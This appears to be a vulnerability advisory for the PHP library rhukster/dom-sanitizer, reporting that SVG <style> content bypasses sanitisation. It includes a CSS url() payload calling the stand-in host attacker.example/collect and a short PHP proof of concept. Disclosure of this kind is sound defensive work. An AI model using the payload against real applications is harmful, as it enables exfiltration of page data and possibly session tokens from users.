rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives

Summary

DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.

Details

In src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.

Vulnerable code (src/DOMSanitizer.php, line 31):

'svg' => ['style', 'path', 'rect', 'circle', ...],

The following payload survives sanitize() intact:

<svg xmlns="http://www.w3.org/2000/svg">
  <style>* { background: url(https://attacker.example/collect); }</style>
</svg>

PoC

<?php
require 'vendor/autoload.php';
use Rhukster\DomSanitizer\DOMSanitizer;

$svg = '<svg xmlns="http://www.w3.org/2000/svg"><style>* { background: url(https://attacker.example/collect); }</style></svg>';
$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);
$output = $sanitizer->sanitize($svg);
echo $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)

Render the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.

Impact

Any application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.